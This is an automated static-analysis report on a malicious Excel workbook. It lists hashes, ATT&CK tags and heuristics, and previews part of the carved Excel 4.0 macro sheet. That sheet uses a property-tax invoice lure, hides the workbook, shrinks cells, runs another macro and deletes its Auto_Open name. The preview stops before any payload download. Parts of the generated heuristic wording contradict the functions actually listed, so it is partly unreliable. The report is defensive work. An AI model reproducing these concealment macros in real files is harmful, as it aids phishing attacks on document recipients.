Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9773d815093745bb…

MALICIOUS

Office (OOXML)

14.2 KB Created: 2019-04-03 13:54:44 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-07
MD5: f7bc3db890d835cec69526a0292f7807 SHA-1: a6ff1ea7d8d44ba42476c8df7416424360714b7c SHA-256: 9773d815093745bb2d7b921882c7ba82666a628d8c3d9fa2ff5d862e72a36f49
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains Excel 4.0 macros, indicated by the 'OOXML_XLM_MACROSHEET' and 'OOXML_XLM_DANGEROUS_FN' heuristics. These macros utilize dangerous functions like 'WORKBOOK.SELECT' and 'WINDOW.RESTORE' to potentially manipulate the user interface and conceal malicious activity. The presence of hidden sheets further suggests an attempt to hide malicious content. The macros likely aim to download and execute a secondary payload, disguised as an invoice, leading to a spearphishing attachment attack.

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: RETURN, WORKBOOK.HIDE, RUN, GOTO critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 18798 bytes
SHA-256: e2b4bd000a26baf28e236df362768f3c012a003d38a5e2713e5fb3d349114e08
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0100-000000000000}"><dimension ref="A1:B163"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="13.2" x14ac:dyDescent="0.25"/><sheetData><row r="1" spans="1:2" x14ac:dyDescent="0.25"><c r="A1" t="s"><v>68</v></c><c r="B1" t="s"><v>86</v></c></row><row r="2" spans="1:2" x14ac:dyDescent="0.25"><c r="A2" t="b"><f>ALIGNMENT(2,FALSE,1,0,FALSE)</f><v>1</v></c><c r="B2" t="b"><f>ERROR(2,Recover)</f><v>1</v></c></row><row r="3" spans="1:2" x14ac:dyDescent="0.25"><c r="A3" t="b"><f>BORDER(0,1,1,1,1,0,0,1,1,1,1)</f><v>1</v></c><c r="B3" t="b"><f>WORKBOOK.SELECT("Property Tax Invoice Attachment")</f><v>1</v></c></row><row r="4" spans="1:2" x14ac:dyDescent="0.25"><c r="A4" t="b"><f>PATTERNS(1,0,2,TRUE)</f><v>1</v></c><c r="B4" t="b"><f>WINDOW.RESTORE()</f><v>1</v></c></row><row r="5" spans="1:2" x14ac:dyDescent="0.25"><c r="A5" t="b"><f>FORMAT.FONT("Arial",8,FALSE,FALSE,FALSE,FALSE,1,FALSE,FALSE)</f><v>1</v></c><c r="B5" t="b"><f>WINDOW.SIZE(82.5,42.75)</f><v>1</v></c></row><row r="6" spans="1:2" x14ac:dyDescent="0.25"><c r="A6" t="b"><f>RETURN()</f><v>1</v></c><c r="B6" t="b"><f>WORKBOOK.HIDE("Macro1",TRUE)</f><v>1</v></c></row><row r="7" spans="1:2" x14ac:dyDescent="0.25"><c r="B7" t="b"><f>EDIT.COLOR(1,0,0,0)</f><v>1</v></c></row><row r="8" spans="1:2" x14ac:dyDescent="0.25"><c r="A8" t="s"><v>69</v></c><c r="B8" t="b"><f>EDIT.COLOR(3,255,0,0)</f><v>1</v></c></row><row r="9" spans="1:2" x14ac:dyDescent="0.25"><c r="A9" t="b"><f>ALIGNMENT(2,FALSE,1,0,FALSE)</f><v>1</v></c><c r="B9" t="b"><f>EDIT.COLOR(5,212,208,200)</f><v>1</v></c></row><row r="10" spans="1:2" x14ac:dyDescent="0.25"><c r="A10" t="b"><f>BORDER(0,1,1,1,1,0,0,1,1,1,1)</f><v>1</v></c><c r="B10" t="b"><f>EDIT.COLOR(4,212,212,212)</f><v>1</v></c></row><row r="11" spans="1:2" x14ac:dyDescent="0.25"><c r="A11" t="b"><f>PATTERNS(1,0,5,TRUE)</f><v>1</v></c><c r="B11" t="b"><f>EDIT.COLOR(2,255,255,255)</f><v>1</v></c></row><row r="12" spans="1:2" x14ac:dyDescent="0.25"><c r="A12" t="b"><f>FORMAT.FONT("Arial",8,FALSE,FALSE,FALSE,FALSE,1,FALSE,FALSE)</f><v>1</v></c><c r="B12" t="e"><f>RUN("Macro17")</f><v>#N/A</v></c></row><row r="13" spans="1:2" x14ac:dyDescent="0.25"><c r="A13" t="b"><f>RETURN()</f><v>1</v></c><c r="B13" t="b"><f>DELETE.NAME("Auto_Open")</f><v>1</v></c></row><row r="14" spans="1:2" x14ac:dyDescent="0.25"><c r="B14" t="b"><f>WORKBOOK.SELECT("Property Tax Invoice Attachment")</f><v>1</v></c></row><row r="15" spans="1:2" x14ac:dyDescent="0.25"><c r="A15" t="s"><v>70</v></c><c r="B15" t="b"><f>SELECT("R3:R65536")</f><v>1</v></c></row><row r="16" spans="1:2" x14ac:dyDescent="0.25"><c r="A16" t="b"><f>ALIGNMENT(2,FALSE,1,0,FALSE)</f><v>1</v></c><c r="B16" t="b"><f>COLUMN.WIDTH(,,,3)</f><v>1</v></c></row><row r="17" spans="1:2" x14ac:dyDescent="0.25"><c r="A17" t="b"><f>BORDER(0,1,1,1,1,0,0,1,1,1,1)</f><v>1</v></c><c r="B17" t="b"><f>ROW.HEIGHT(,,,3)</f><v>1</v></c></row><row r="18" spans="1:2" x14ac:dyDescent="0.25"><c r="A18" t="b"><f>PATTERNS(1,0,5,TRUE)</f><v>1</v></c><c r="B18" t="b"><f>SELECT("R1C1")</f><v>1</v></c></row><row r="19" spans="1:2" x14ac:dyDescent="0.25"><c r="A19" t="b"><f>FORMAT.FONT("Arial",8,FALSE,FALSE,FALSE,FALSE,1,FALSE,FALSE)</f><v>1</v></c><c r="B19" t="b"><f>WINDOW.MAXIMIZE()</f><v>1</v></c></row><row 
... (truncated)

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